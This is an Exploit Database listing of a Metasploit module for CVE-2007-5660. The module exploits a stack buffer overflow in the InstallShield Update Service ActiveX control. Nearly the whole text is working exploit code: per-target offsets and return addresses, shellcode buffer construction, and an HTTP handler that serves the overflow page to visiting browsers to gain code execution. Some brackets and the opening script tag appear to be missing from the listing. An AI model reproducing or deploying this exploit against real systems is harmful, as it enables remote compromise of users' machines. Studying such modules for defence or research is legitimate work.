Macrovision Installshield Update Service – Remote Buffer Overflow (Metasploit)

Exploit Database
136 阅读

作者： Metasploit

日期： 2010-05-09
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16573/

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# $Id: macrovision_downloadandexecute.rb 9262 2010-05-09 17:45:00Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})

super(update_info(info,

'Name' => 'Macrovision InstallShield Update Service Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in Macrovision InstallShield Update

Service(Isusweb.dll 6.0.100.54472). By passing an overly long ProductCode string to

the DownloadAndExecute method, an attacker may be able to execute arbitrary code.

'License'=> MSF_LICENSE,

'Author' => [ 'MC' ],

'Version'=> '$Revision: 9262 $',

'References' =>

[

[ 'CVE', '2007-5660' ],

[ 'OSVDB', '38347' ],

[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2007-December/059288.html' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'Payload'=>

{

'Space' => 800,

'BadChars'=> "\x00\x09\x0a\x0d'\\",

'StackAdjustment' => -3500,

'Platform' => 'win',

'Targets'=>

[

[ 'Windows XP SP0/SP1 Pro English', { 'Offset' => 600, 'Ret' => 0x71aa32ad } ],

[ 'Windows 2000 Pro English All', { 'Offset' => 600, 'Ret' => 0x75022ac4 } ],

'DisclosureDate' => 'Oct 31 2007',

'DefaultTarget'=> 0))

end

def autofilter

false

end

def check_dependencies

use_zlib

end

def on_request_uri(cli, request)

# Re-generate the payload

return if ((p = regenerate_payload(cli)) == nil)

# Randomize some things

vname = rand_text_alpha(rand(100) + 1)

strname = rand_text_alpha(rand(100) + 1)

# Set the exploit buffer

sploit =rand_text_alpha(target['Offset'])

sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')

sploit << p.encoded + rand_text_alpha(1200 - p.encoded.length)

#[id(0x00000007), helpstring("method DownloadAndExecute")]

#void DownloadAndExecute(

# BSTR dispname,

# BSTR ProductCode,

# long MsgID,

# BSTR url,

# BSTR cmdline);

# Build out the message

content = %Q|

<html>

#{strname} = new String('#{sploit}')

#{vname}.DownloadAndExecute("", #{strname}, 0, "", "");

</script>

</html>

print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client

send_response_html(cli, content)

# Handle the payload

handler(cli)

end